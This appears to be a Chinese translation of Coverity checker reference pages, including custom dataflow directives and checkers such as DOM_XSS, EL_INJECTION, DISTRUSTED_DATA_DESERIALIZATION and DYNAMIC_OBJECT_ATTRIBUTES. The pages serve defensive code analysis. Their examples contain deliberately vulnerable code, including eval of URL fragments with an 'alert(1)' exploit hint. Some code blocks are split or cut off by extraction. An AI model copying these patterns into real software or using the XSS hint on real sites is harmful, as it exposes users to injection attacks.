现在，您可以运行 cov-analyze --dir <INTERMEDIATE\_DIR> --directive-file <DIRECTIVES.JSON>。DF.DANGEROUS\_ROBOT 检查器将默认启用。

分析现在将针对以下代码报告缺陷：

```
@Controller
class UserController {
 private RobotService robotService = null;

 int activeRobotId;

 @RequestMapping("/robot/speak_command")
 public String speakCommand(@RequestParam("name") String name) {
 String cmd = "ROTATE 180; ARM RAISE; SPEAK \"Hello " + name + "\";";
 // A DF.DANGEROUS_ROBOT defect will be reported below.
 robotService.run(cmd, activeRobotId);

 return "success";
 }
}
```

示例 4：JavaScript。下面的指令创建了同时适用于客户端和服务器端 (Node.js) JavaScript 代码的自定义数据流检查器 DF.MYLIB\_INJECTION。myLib 标记指明库对于客户端（全局变量 myLib）代码和服务端 (require("myLib")) 代码的不同用法，而数据消费者指令则根据标记进行构建以定义数据消费者 (myLib 的 exec() 函数)。

```
{
 "type" : "Coverity analysis configuration",
 "format_version": 12,
 "language" : "JavaScript",
 "directives" : [
 {
 "dataflow_checker_name" : "DF.MYLIB_INJECTION",
 "taint_kinds" : ["all_jsclient_taints", "all_server_taints"],
 "sink_message" : "Passing tainted data into myLib.exec",
 "remediation_advice" : "Don't do that.",
 "new_issue_type" : {
 "type" : "mylib_injection",
 "name" : "injection into myLib.exec",
 "description" : "Use of tainted data in a sensitive myLib operation",
 "local_effect" : "Attacker can control myLib.",
 "cwe" : 74,
 "impact" : "High",
 "category" : "Injection Vulnerabilities",
 }
 }
]
}
```

```

 }
 },
 // client-side
 {
 "tag" : "myLib",
 "data_has_tag" : {
 "read_path_off_global" : [{ "property" : "myLib" }]
 }
 },
 // Node.js
 {
 "tag" : "myLib",
 "data_has_tag" : {
 "read_from_js_require" : "myLib"
 }
 },
 // sink
 {
 "sink_for_checker" : "DF.MYLIB_INJECTION",
 "sink" : {
 "input" : "arg1",
 "to_callsite" : {
 "call_on" : {
 "path" : [{ "property" : "exec" }],
 "read_from_object_with_tag" : "myLib"
 }
 }
 }
 }
}
]
}

```

由于这些指令，分析将报告下面的 Express.js/Node.js ( 服务器端 ) JavaScript 代码中存在 DF.MYLIB\_INJECTION 缺陷。

```

function myLib_injection_nodejs() {
 var app = require("express")();
 app.post("/path1", function (req, res) {
 require('myLib').exec(req.params.tainted); // DF.MYLIB_INJECTION
 });
}

```

由于这些指令，分析将报告下面的客户端 JavaScript 代码中存在 DF.MYLIB\_INJECTION 缺陷。

```

function myLib_injection_client() {
 myLib.exec(location.hash.slice(1)); // DF.MYLIB_INJECTION
}

```

**示例 5：Visual Basic.** 此示例使用自定义属性和自定义检查器强制执行安全策略。每当不信任的数据被传递给实现已使用 `<UnsafeAPICall>` 属性标记的接口方法的任何调用时，该检查器会报告缺陷。

自定义 `<UnsafeAPICall>` 如下：

```
' Define a custom attribute to label unsafe API calls.
<System.AttributeUsage(System.AttributeTargets.Method)>
Public Class UnsafeAPICall
 Inherits System.Attribute
End Class
```

以下指令文件定义自定义检查器：

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "Visual Basic",
 "directives" : [
 // checker definition
 {
 "dataflow_checker_name" : "DF.UNSAFE_APP_API",
 "taint_kinds" : ["all_server_taints"],
 "sink_message" : "Passing tainted data into an unsafe API.",
 "remediation_advice" : "Validate the data against an allow list of
expected values.",
 "new_issue_type" : {
 "type" : "unsafe_app_api",
 "name" : "Unsafe use of application API",
 "description" : "Use of tainted data in a sensitive application
API",
 "local_effect" : "An attacker might be able to control sensitive
program functionality or data.",
 "cwe" : 74,
 "impact" : "High",
 "category" : "Injection Vulnerabilities",
 }
 },
 // sink
 {
 "sink_for_checker" : "DF.UNSAFE_APP_API",
 "sink" : {
 "all_params_of" : {
 "overrides" : {
 "with_annotation" : {
 "matching" : "UnsafeAPICall"
 }
 }
 }
 }
 },
],
}
```

下面是使用 `<UnsafeAPICall>` 属性和接口实现的 API 接口的示例。

```
' An example interface with an unsafe call.
' This is indicated with the <UnsafeAPICall> attribute.
```

```
Interface IExampleAPI
 <UnsafeAPICall>
 Sub MyAction(data as String)
 End Interface

 ' An example implementation of the interface.
 Public Class ExampleImplementation
 Implements IExampleAPI

 Public Sub MyAction(data as String) Implements IExampleAPI.MyAction
 ' Do something here...
 End Sub
 End Class
```

随后，将在以下子程序中报告缺陷：

```
' This class illustrates an unsafe use of ExampleImplementation.>
public Sub Test(req as HttpRequest)
 Dim obj as ExampleImplementation = New ExampleImplementation()

 ' DF.UNSAFE_APP_API reports a defect here!!!!
 obj.MyAction(req("USER_ID"))
End Sub
```

## 4.143. DISABLED\_ENCRYPTION

### 4.143.1. 概述

支持的语言：. Java

DISABLED\_ENCRYPTION 检查器标记使用

org.springframework.security.crypto.encrypt.Encryptors 类中的 noOpText() 方法的情况。 noOpText() 方法创建一个不执行任何数据加密的加密器对象。它可能会将敏感信息泄露给攻击者，因此不应在生产代码中使用。

DISABLED\_ENCRYPTION 检查器默认禁用。可以使用 cov-analyze 命令的 --webapp-security 选项启用它。

### 4.143.2. 示例

本部分提供了一个或多个 DISABLED\_ENCRYPTION 示例。

在下面的示例中，针对用于设置客户端数据加密的 noOpText() 方法调用显示 DISABLED\_ENCRYPTION 缺陷。

```
package org.example.com.clientmodule;

import org.springframework.security.crypto.encrypt.Encryptors;
```

```

import org.springframework.security.crypto.encrypt.TextEncryptor;

class NoEncryption
{
 private TextEncryptor encryptor;

 public void SingleTextEncryptorLocator(TextEncryptor encryptor) {
 this.encryptor = encryptor == null ? Encryptors.noOpText() : encryptor; // defect here
 }
}

```

## 4.144. DISTRUSTED\_DATA\_DESERIALIZATION

### 4.144.1. 概述

支持的语言：. Go

DISTRUSTED\_DATA\_DESERIALIZATION 检查器在不受信任的数据被传递到反序列化 API 中的任何时间报告问题。可控制反序列化对象的攻击者可能能够破坏应用程序功能的各个方面。此审计模式检查器标记这些代码模式供审阅。

注意，这些缺陷并不表示分析或反序列化操作本身容易受到攻击（例如，执行远程代码）。不安全的分析或反序列化操作由高影响的 UNSAFE\_DESERIALIZATION 检查器报告。

如果审计发现被认为是安全漏洞，则补救通常包括正确地验证数据是否合法和格式是否正确。

DISTRUSTED\_DATA\_DESERIALIZATION 检查器默认禁用。使用 cov-analyze 命令的 --enable-audit-mode 选项可以启用它和其他审计模式检查器。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

### 4.144.2. 示例

本部分提供了一个或多个 DISTRUSTED\_DATA\_DESERIALIZATION 示例。

在下面的 Go 示例中，当从 HTTP 请求读取反序列化数据时，将报告缺陷。

```

import(
 "encoding/json"
 "net/http"
)

type UserData struct {
 id int
 fullname string
 address string
}

```

```

}

var cur_user UserData

// HTTP request handler for '/set-user-data'
func SetUserData(w http.ResponseWriter, r *http.Request) {
 if err := r.ParseForm(); err != nil {
 http.Error(w, "400 bad request.", http.StatusBadRequest)
 return
 }
 // Read distrusted data from HTTP request
 data_json := r.FormValue("user_data")

 // Defect here
 json.Unmarshal([]byte(data_json), cur_user)
}

```

#### 4.144.3. 选项

本部分描述了一个或多个 DISTRUSTED\_DATA\_DESERIALIZATION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- DISTRUSTED\_DATA\_DESERIALIZATION:distrust\_all:<boolean> - 将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:distrust\_all:false。  
如果将 cov-analyze 命令的 DISTRUSTED\_DATA\_DESERIALIZATION:webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_command\_line:<boolean>  
- 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_command\_line:true。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_console:<boolean> -  
将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_cookie:<boolean> - 将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_database:<boolean>  
- 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。

- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_environment:<boolean>  
- 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_filesystem:<boolean>  
- 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_http:<boolean> - 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_http\_header:<boolean> - 将此选项设置为 false 会导致分析将来自 HTTP Header 的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_http\_header:true。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_network:<boolean>  
- 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_rpc:<boolean> - 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- DISTRUSTED\_DATA\_DESERIALIZATION:trust\_system\_properties:<boolean>  
- 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 DISTRUSTED\_DATA\_DESERIALIZATION:trust\_system\_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

## 4.145. DIVIDE\_BY\_ZERO

质量检查器

### 4.145.1. 概述

支持的语言：. C、C++、C#、Go、Objective-C、Objective-C++、Java、Ruby、VB.NET

DIVIDE\_BY\_ZERO 检查器可查找进行算术除法或求模运算时除数为零的情况。此类运算的结果未定义，但通常会导致程序终止。仅当有证据表明除数在特定路径中确实可能为零时才会报告缺陷。

默认启用：DIVIDE\_BY\_ZERO 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

## 4.145.2. 示例

本部分提供了一个或多个 DIVIDE\_BY\_ZERO 示例。

### 4.145.2.1. C/C++

在下面的示例中，该检查器报告了缺陷，因为在 cond() 为 false 时，变量 x 为零：

```
int foo() {
 int x = 0;
 if (cond()) {
 x = 1;
 }
 return 1 / x;
}
```

在下面的示例中，如果 y 为负，foo(y) 将返回零，并且会在 bar(y) 中使用零作为除数。因此，该检查器将报告缺陷。

```
int foo(int y) {
 if (y < 0) {
 return 0;
 }
 return y;
}

void bar(int y) {
 int z = 1 / foo(y);
}
```

### 4.145.2.2. C# 和 Java

在下面的示例中，该检查器将报告被零除的除法的情况，因为变量 a 可能为零；该代码显式测试 a 是否为零。

```
class Example {
 void testDiv(int a, int b)
 {
 if (a!=0) {
 //Do something
 }
 int y = b / a;
 }
}
```

### 4.145.2.3. Go

在下面的示例中，return 语句将导致 DIVIDE\_BY\_ZERO 问题。

```
func testDiv0(cond bool) int {
```

```

x := 0
if cond {
 x = 1
}
return 100 / x
}

```

#### 4.145.2.4. Ruby

```

def invert
 x = 0

 if some_condition?
 x = 1
 end

 1 / x
end

```

#### 4.145.2.5. VB.NET

在下面的示例中，针对每个赋值语句显示了 DIVIDE\_BY\_ZERO 缺陷。

```

Public Class DivideByZero
 Public Sub testDiv(ByVal a As Integer, ByVal b As Integer)
 If a <> 0 Then
 End If
 Dim z As Integer = b / a
 End Sub

 Public Sub testMod(ByVal a As Integer, ByVal b As Integer)
 If a <> 0 Then
 End If
 Dim z As Integer = b Mod a
 End Sub
End Class

```

### 4.145.3. 选项

本部分描述了一个或多个 DIVIDE\_BY\_ZERO 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- DIVIDE\_BY\_ZERO:require\_exact\_zero:<boolean> - 当此选项被设置为 true 时，此检查器仅在已知分母在所分析的路径上为零时，才报告 DIVIDE\_BY\_ZERO 缺陷。默认值为 DIVIDE\_BY\_ZERO:require\_exact\_zero:true。

### 4.145.4. 事件

本部分描述了 DIVIDE\_BY\_ZERO 检查器生成的一个或多个事件。

- `divide_by_zero` : 当除数为零时执行了算术除法或求模运算。

## 4.146. DNS\_PREFETCHING

### 4.146.1. 概述

支持的语言：. JavaScript、TypeScript

DNS\_PREFETCHING 检查器通过在 `helmet` 中间件的 `dnsPrefetchControl()` 函数或 `dns-prefetch-control` 中间件的配置中将 `allow` 属性显式设置为 `true` 来查找启用 DNS 预取的情况。如果将属性 `allow` 设置为 `true`，则启用 DNS 预取，这可能会通过泄露有关页面上使用的其他资源的信息，将敏感信息泄露给同一网络上的攻击者。默认情况下，将属性 `allow` 设置为 `false` 来禁用 DNS 预取。

DNS\_PREFETCHING 检查器默认禁用。要启用它，请使用 `cov-analyze` 命令的 `--enable-audit-mode` 选项。

### 4.146.2. 示例

本部分提供了一个或多个 DNS\_PREFETCHING 示例。

在下面的示例中，如果在 `dnsPrefetchControl()` 函数中将 `allow` 属性设置为 `true`，将显示 DNS\_PREFETCHING 缺陷。

```
var express = require('express');
var helmet = require('helmet');
var app = express();

var opt1 = { allow: true }; //#defect#DNS_PREFETCHING
app.use(helmet.dnsPrefetchControl(opt1));
```

## 4.147. DOM\_XSS

安全检查器

### 4.147.1. 概述

支持的语言：. JavaScript、TypeScript

DOM\_XSS 针对易受基于 DOM 的 XSS 攻击的代码报告缺陷。换言之，它可查找攻击者可以控制受害者的 Web 浏览器执行攻击者选择的 JavaScript 代码或使受害者的 Web 浏览器发生非预期或未计划的行为的情况。此检查器尤其会报告可能处于攻击者控制下的数据（被污染的数据）在客户端 JavaScript 中被通过不安全的方式使用（例如被传递给 `eval` 或被写入 DOM 中的 `innerHTML` 字段）的情况。

此类漏洞导致的后果与其他类型的跨站点脚本漏洞的后果类似。例如，基于 DOM 的 XSS 漏洞可能会影响用户已验证会话（包括会话提供的信息和访问权限）的机密性。有关更多信息，请参阅“Section 6.1.4.2，“跨站点脚本 (XSS)””。

默认禁用：DOM\_XSS 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 DOM\_XSS 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

DOM\_XSS 检查器需要其他内存。请参阅《Coverity 安装和部署指南》中的 [最低要求](#)，了解有关该要求的详细信息。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

#### 4.147.2. 缺陷剖析

DOM\_XSS 缺陷显示了一个数据流路径，不可信（被污染的）数据可通过该路径流入函数或 DOM 元素，以致该用户的 Web 浏览器可能将其作为 JavaScript 代码执行。该路径从不可信数据源开始，例如读取攻击者可能控制的 URL 的属性（例如 window.location.hash）或者来自其他框架的数据。在此处开始，缺陷中的各种事件说明了此被污染数据如何流过程序，例如从函数调用的参数到被调用函数的参数。该路径的最终部分表示流入易受攻击的函数或 DOM 元素属性的数据。

#### 4.147.3. 示例

本部分提供了一个或多个 DOM\_XSS 示例。

```
function extract(string, key) {
 // ... returns a substring of "string" according to "key"
}

// to exploit: append the following fragment to the base URL
// #status=0;alert(1)
function getStatus() {
 var status = {};
 // 'location.hash' is tainted, so 'fromFragment' is too
 var fromFragment= extract(decodeURI(location.hash), "status");
 console.log(fromFragment);
 try {
 // 'eval' on a tainted string is vulnerable to DOM_XSS
 eval("status = " + fromFragment);
 } catch (exn) {
 // ignore
 }
 return status;
}
```

```
// '$' is the jQuery object
// to exploit, append the following to the base URL
// ?">
function jq() {
 var elem = $("#my-dom-element");
 var link = '#do_a_thing?page=' + decodeURI(location.href);
 console.log(link);
 var html = 'do the thing';
```

```
 console.log(html);
 elem.html(html);
}
```

#### 4.147.4. 选项

本部分描述了一个或多个 `DOM_XSS` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `DOM_XSS:distrust_all:<boolean>` - 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `DOM_XSS:distrust_all:false`。  
如果将 `cov-analyze` 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。
- `DOM_XSS:trust_js_client_cookie:<boolean>` - 如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中的 cookie 的数据，例如来自 `document.cookie`。此选项之前称为 `trust_client_cookie`。默认值为 `DOM_XSS:trust_js_client_cookie:true`。
- `DOM_XSS:trust_js_client_external:<boolean>` - 如果将此选项设置为 `false`，则分析不会信任来自 `XMLHttpRequest` 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 `trust_external`。默认值为 `DOM_XSS:trust_js_client_external:false`。
- `DOM_XSS:trust_js_client_html_element:<boolean>` - 如果将此选项设置为 `false`，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 `textarea` 和 `input` 元素。默认值为 `DOM_XSS:trust_js_client_html_element:true`。
- `DOM_XSS:trust_js_client_http_header:<boolean>` - 如果将此选项设置为 `false`，则分析不会信任来自 `XMLHttpRequest` 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 `DOM_XSS:trust_js_client_http_header:true`。
- `DOM_XSS:trust_js_client_http_referer:<boolean>` - 如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中 `referer` HTTP header (来自 `document.referrer`) 的数据。默认值为 `DOM_XSS:trust_js_client_http_referer:false`。
- `DOM_XSS:trust_js_client_other_origin:<boolean>` - 如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 `window.name`。默认值为 `DOM_XSS:trust_js_client_other_origin:false`。
- `DOM_XSS:trust_js_client_url_query_or_fragment:<boolean>` - 如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中查询或 URL 的片段部分的数据，例如来自 `location.hash` 或 `location.query`。默认值为 `DOM_XSS:trust_js_client_url_query_or_fragment:false`。
- `DOM_XSS:trust_mobile_other_app:<boolean>` - 将此选项设置为 `true` 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 `DOM_XSS:trust_mobile_other_app:false`。设置此检查器选项会覆盖全局 `--trust-mobile-other-app` 和 `--distrust-mobile-other-app` 命令行选项。

- DOM\_XSS:trust\_mobile\_other\_privileged\_app:<boolean> - 将此选项设置为 false 会导致分析将以下数据视为被污染数据：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 DOM\_XSS:trust\_mobile\_other\_privileged\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
- DOM\_XSS:trust\_mobile\_same\_app:<boolean> - 将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染数据。默认值为 DOM\_XSS:trust\_mobile\_same\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- DOM\_XSS:trust\_mobile\_user\_input:<boolean> - 将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染的数据。默认值为 DOM\_XSS:trust\_mobile\_user\_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。

## 4.148. DYNAMIC\_OBJECT\_ATTRIBUTES

安全检查器

### 4.148.1. 概述

支持的语言：. Ruby

DYNAMIC\_OBJECT\_ATTRIBUTES 查找使用不受控制的动态数据指定属性名称和值以更新资源时发生的漏洞 (CWE-915)。该漏洞可能允许攻击者更新资源中的非正常字段。例如，用户对象的 admin 字段可能被设置为 true。

默认启用：DYNAMIC\_OBJECT\_ATTRIBUTES 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

### 4.148.2. 缺陷剖析

当资源似乎使用或允许使用受用户控制的数据来指定属性名称和值时将报告

DYNAMIC\_OBJECT\_ATTRIBUTES 缺陷。

Ruby on Rails 框架用来防止该漏洞的方法已经演变成了多次。该检查器将报告易受攻击的模型、模型更新方法的易受攻击用法，以及故意绕过属性允许清单的情况。

### 4.148.3. 示例

本部分提供了一个或多个 DYNAMIC\_OBJECT\_ATTRIBUTES 示例。

以下 Ruby on Rails 代码展示了如何更新示例记录上的属性，而不用指定允许的属性。

```
class ExampleController < ApplicationController
 def update
 Example.find(params[:id]).update_attributes(params.permit!)
```

```
end
end
```

## 4.149. DYNAMIC\_TYPE\_INCTOR\_DTOR

### 质量检查器

#### 4.149.1. 概述

支持的语言： C++

在对象的构造和析构过程中，对象的最终类型可能不同于完全构造的对象。在构造函数或析构函数中使用对象的动态类型时，结果可能与开发人员的预期不一致。当在构造函数或析构函数中的 `this` 指针上使用 `dynamic_cast` 时，DYNAMIC\_TYPE\_INCTOR\_DTOR 检查器会报告这种情况。

默认启用： DYNAMIC\_TYPE\_INCTOR\_DTOR 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.149.2. 示例

本部分提供了一个或多个 DYNAMIC\_TYPE\_INCTOR\_DTOR 示例。

在以下代码中，类 `B2` 的析构函数为虚函数，这使类 `B2` 成为多态。类 `C` 衍生自类 `B2`，因此类 `C` 也是多态。

针对每行 `dynamic_cast` 都报告 DYNAMIC\_TYPE\_INCTOR\_DTOR 缺陷。

```
class B2
{
public:
 virtual ~B2 () {
 dynamic_cast< B2* > (this);
 }
 B2 ()
 {
 dynamic_cast< B2* > (this);
 }
};

class C : public B2
{
public:
 C () {
 dynamic_cast< C* > (this);
 }
 ~C ()
 {
 dynamic_cast< C* > (this);
 }
};
```

```
};
```

在以下代码中，类 B1 不声明或继承虚函数，因此 B1 不是多态。

没有用于类 B1 的动态类型，因此检查器不会报告任何缺陷。

```
class B1
{
public:
 B1 ()
 {
 dynamic_cast< B1* > (this);
 }
 ~B1 ()
 {
 dynamic_cast< B1* > (this);
 }
};
```

#### 4.149.3. 事件

本部分描述了 DYNAMIC\_TYPE\_INCTOR\_DTOR 检查器生成的一个或多个事件。

DYNAMIC\_TYPE\_INCTOR\_DTOR 检查器报告单一事件：dynamic\_type\_used\_in\_ctor\_dtor，也是主要事件。

### 4.150. EL\_INJECTION

安全检查器

#### 4.150.1. 概述

支持的语言：. Java

EL\_INJECTION 查找表达式语言 (EL) 注入漏洞；当不受控制的动态数据被传递给 EL 解析器时，就会产生此类漏洞。这可以允许攻击者绕过安全检查或执行任意代码。

默认禁用：EL\_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 EL\_INJECTION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

#### 4.150.2. 示例

本部分提供了一个或多个 EL\_INJECTION 示例。

在下面的示例中，`expression` 参数被视为已污染。然后，该参数被传递给 `ExpressionFactory.createValueExpression`（被视为此检查器的数据消费者）。

```
public static void setValue(Map<String, Object> context,
 String expression, Class expectedType, Object value) {
 ExpressionFactory exprFactory = getExpressionFactory();
 ELContext elContext = new BasicContext(context);
 ValueExpression ve = exprFactory.createValueExpression(elContext, expression,
 expectedType);
 ve.setValue(elContext, value);
}
```

攻击者可以通过替换有效的 EL 表达式执行任意代码。

#### 4.150.3. 事件

本部分描述了 `EL_INJECTION` 检查器生成的一个或多个事件。

- `sink` - ( 主要事件 ) 识别被污染的数据到达数据消费者的位置。
- `remediation` - 提供关于修复安全漏洞的信息。

##### 数据流事件

- `member_init` - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- `object_construction` - 使用被污染的数据创建类实例。
- `subclass` - 创建了类实例以用作超类。
- `taint_alias` - 为被污染的对象设置了别名。
- `taint_path` - 将被污染的值赋值给本地变量。
- `taint_path_arg` - 将被污染的值作为方法的参数。
- `taint_path_attr` - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。

- `tainted_source` - 被污染值所起源的方法。

## 4.151. ENUM\_AS\_BOOLEAN

质量检查器

### 4.151.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`ENUM_AS_BOOLEAN` 查找枚举型表达式无意中被用于布尔环境（例如谓词），但枚举具有两个以上的可能值的位置。这通常并不是程序员的本意。

默认禁用：`ENUM_AS_BOOLEAN` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

### 4.151.2. 示例

本部分提供了一个或多个 `ENUM_AS_BOOLEAN` 示例。

```
enum color {red, green, blue};
...
color c;
...
if (c) /* Why are green and blue distinguished from red? */
```

枚举型表达式以合法的方式出现在布尔环境中是很常见的。例如，该检查器不会标识以下代码示例中的缺陷：

```
/* in C */
enum boolean {false, true};
...
enum boolean b;
...
if (b) /* An enum-typed expression is okay in this context. */
...
```

### 4.151.3. 事件

本部分描述了 `ENUM_AS_BOOLEAN` 检查器生成的一个或多个事件。

- `enum_as_boolean` - 在布尔环境中使用了枚举型表达式。

## 4.152. EVALUATION\_ORDER

质量检查器

#### 4.152.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

EVALUATION\_ORDER 识别根据 C/C++ 语言的表达式评估规则无法确定执行顺序的代码，不同顺序可能有不同的执行效果。因此，程序的行为可能取决于编译器、编译器版本和优化设置。请注意，检查器的名称具有误导性，因为它会发现其他作用顺序问题以及求值顺序问题。

如果单一内存位置被写入多次，或者既被读取又被写入，并且没有中间介入的顺序点，则程序行为是未定义行为。实际上，不同的编译器、编译器版本和优化设置可能导致不同的结果。即使关于优先级和结合性的规则明确规定了语法表达式结构，也会发生这种情况。

在下面的示例中，`b` 经过赋值后的值为 3（如果首先对运算符的左侧评估）或 4（如果首先对运算符的右侧评估）：

```
a = 1;
b = a + (a=2);
```

EVALUATION\_ORDER 可查找以下位于每个语句之后的顺序点：

- 逗号 ( , )
- 逻辑与 ( && )
- 逻辑或 ( || )
- 条件 ( ?: )

默认启用：EVALUATION\_ORDER 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.152.2. 示例

本部分提供了一个或多个 EVALUATION\_ORDER 示例。

在下面的示例中，无法确定首先对运算符左侧还是右侧评估，因此 `x` 的值可能会改变：

```
int g(int x) {
 return x + x++; // EVALUATION_ORDER defect
}
```

下面的示例展示了其他作用顺序问题。在赋值之前对赋值右侧评估。但是，可能引起其他作用顺序并未指定，因为与 `++` 关联的其他作用可能在与赋值关联之前发生，也可能在其之后发生。

```
int foo() {
 int x = 0;
 x = x++; // EVALUATION_ORDER defect
 return x; // returns either 0 or 1
```

}

不同的编译器将返回不同的值。例如：

Microsoft Visual C++ 2008 for 80x86 在 Windows XP 32 位上返回 1。

Mingw gcc 3.4.4 在 Windows XP 32 位上返回 0。

gcc 4.1.2 在 RHEL 5.2 Linux 64 位上返回 1。

#### 4.152.3. 事件

本部分描述了 EVALUATION\_ORDER 检查器生成的一个或多个事件。

- write\_write\_order - 无法确定多次写入的顺序。

#### 4.152.4. 选项

本部分描述了一个或多个 EVALUATION\_ORDER 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- EVALUATION\_ORDER:report\_volatile: - 当此选项为 true 时，该检查器会报告不安全使用易失性变量的情况。每次易失性变量访问在技术上都有其他作用，因此如果“x”和“y”都易失，表达式“x + y”未定义。默认值为 EVALUATION\_ORDER:report\_volatile:false。

在下面的示例中，报告了一个尝试使用易失性整数进行计算的缺陷，但当整数不是易失性整数时未报告缺陷：

```
volatile int x;
volatile int v1, v2;
void foo() {
 int y;
 y = 2*x + x; // EVALUATION_ORDER defect
 y = v1 + v2; // EVALUATION_ORDER defect
}

int xx;
int vv1, vv2;
void foofoo() {
 int yy;
 yy = 2*xx + xx; // no defect
 yy = vv1 + vv2; // no defect
}
```

#### 4.153. EXPLICIT\_THIS\_EXPECTED

质量检查器

### 4.153.1. 概述

